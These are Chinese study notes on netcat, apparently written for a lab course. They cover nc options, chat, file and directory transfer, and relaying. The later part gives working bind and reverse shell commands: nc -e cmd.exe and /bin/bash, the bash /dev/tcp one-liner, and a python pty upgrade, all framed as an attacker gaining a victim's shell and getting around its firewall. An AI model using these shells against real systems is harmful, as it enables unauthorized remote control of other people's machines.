NC学习笔记
搭配这个视频链接使用更佳
https://space.bilibili.com/439906928/channel/seriesdetail?sid=231485
基础概念
nc是什么?
nc全称netcat,是借助tcp/ip连接来传送数据的一个工具,有tcp/ip连接的瑞士军刀美称。
nc有哪些功能
nc的主要功能有获取banner信息,远程控制,传输文件,端口扫描等功能,甚至能当聊天工具
nc的基本用法
- connect to somewhere:连接至某个主机–nc的客户端
nc [-options] hostname port[s] [ports] …
2.listen for inbound:侦听—nc的服务端
nc -l -p port [-options] [hostname] [port]
-l 侦听模式
-p 指定监听端口
对上面命令的解释
-c 针对命令的传送,在后面能看到例子
-e 和-c一样的
-b 允许广播
-g 设置路由器通信网关数量,最多设置八个
-G 设置来源路由指向器,其数值为4的倍数。
-h 帮助信息
-i 延迟几秒,通常用户发送以及扫描端口
-k 设置keepalive选项
-l 监听模式
-n 直接使用ip而不是使用域名
-0 指定文件名称,把往来传输的数据以16进制字码倾倒成该文件保存。
-p 设置本地主机使用的通信端口
-r 乱数指定本地与远端主机的通信端口
-q 传输结束后几秒断开
-s 设置本地主机送出数据包的IP地址
-T 设置服务类型
-t 回应telnet协商
-u 使用UDP传输协议
-v 显示详细信息
-w 设置等待连线的时间。即超时秒数
-C 结束
-z 使用0输入/输出模式,只在扫描通信端口时使用
nc作为一个聊天服务器
主机1的地址假设为192.168.195.76,使用以下命令
nc -l -p 2226
主机2使用以下命令
nc -nv 192.168.195.76 2226
然后两边就能进行聊天了。
上面功能的扩展,就可以用于远程计算机的电子取证。
先说上面右边机器最下面一行的含义
ls | nc -nv 192.168.195.6 2226 -q 1
这行命令的含义是将ls命令传输给nc,nc再传输给远端的192.168.195.6那台机器。-q的含义是传输结束后等待多长时间断开。
左边这台机器
nc -l -p 2226 > ls.txt
nc通过输出重定向到ls.txt文件中
NC传输文件
右边这条命令的意思是将etc下面的resolv.conf文件传输只接收端。<表示输入重定向
接收端的命令含义是接收文件然后输出重定向
三台主机使用nc传输文件
中间这台xp主机的命令是需要管道符的,需要将接收到的数据再转发出去,整体应该是像下面这条命令
nc -lnvp 12306 | nc -nv 192.168.195.29 12306
NC实现远程控制
-c shell commands as '-e'; use /bin/sh to exec [dangerous!!]
-e filename program to exec after connect [dangerous!!]
上面命令是在nc连接成功后,可以运行指定的命令
正向连接:攻击者连接受害者
在受害主机(xp)上执行命令
nc -lnvp 12306 -e cmd.exe
上面命令的含义是,将cmd程序反弹到12306端口上去。
在控制主机(kali)上执行
nc -nv 192.168.195.32 12306
上面的ip是受害主机的ip,这样会拿到受害主机的shell。
反向连接:受害者连接攻击者
受害主机:kali
nc -lnvvp 12306 -e /bin/bash
攻击主机:xp
nc -nv 192.168.195.76 12306
这种情况下,不是交互式的shell,可以通过输入以下内容来升级为交互式shell
python -c 'import pty;pty.spawn("/bin/sh")'
NC传输目录
tar命令是用来进行打包的,本身nc是不能传输目录的,但是我们可以对内容进行打包后传输
对exam文件夹进行打包
tar cf exam.tar exam
在发送端输入
tar cf - exam | nc -nv 192.168.195.29 12306
接收端
nc -lnvp 12306 | tar xf -
整个过程就是先打包,发送给nc,另一边nc接收后解压显示。
NC建立反弹式连接(适用于受害主机开启了防火墙的情况)
让攻击者(kali)处于监听状态
nc -lnvvp 12306
让受害者(xp)主动连接攻击者
nc -nv 192.168.195.76 12306 -e cmd.exe
使用python建立反弹式shell
攻击者处于监听状态
nc -lnvvp 12306
受害者linux主机
平时使用的时候只需要修改ip地址以及端口即可
使用bash建立反弹式shell
攻击者处于监听状态
nc -lnvvp 12306
受害者
bash -i >& /dev/tcp/攻击端IP/攻击端监听端口 0>&1
一个实例
bash -i >& /dev/tcp/192.168.195.76/12306 0>&1
对上面命令的几个解释
-
bash -i 表示打开交互式命令
-
&符号用于区分文件和文件描述符>
>& + 文件:&符号后面跟文件时,表示将标准输入输出和标准错误输出重定向至文件
>& + 数字:&符号后面跟数字时,表示后面的数字时文件描述符,不加&符号则会把后面的数字当成文件
3.文件描述符
0 标准输入重定向
1 标准输出重定向
2 标准错误输出重定向
4./dev目录下的tcp和udp是linux中的特殊设备,可用于建立socket连接,读写这两个文件就相当于是在socket连接中传输数据
>& /dev/tcp/攻击端IP/攻击端监听端口
表示将表示将标准输出和标准错误输出重定向到攻击机(这时目标机的命令执行结果可以从攻击机看到)
0>&1
表示将标准标准输入重定向到了标准输出-攻击机,从而可以通过攻击机输入命令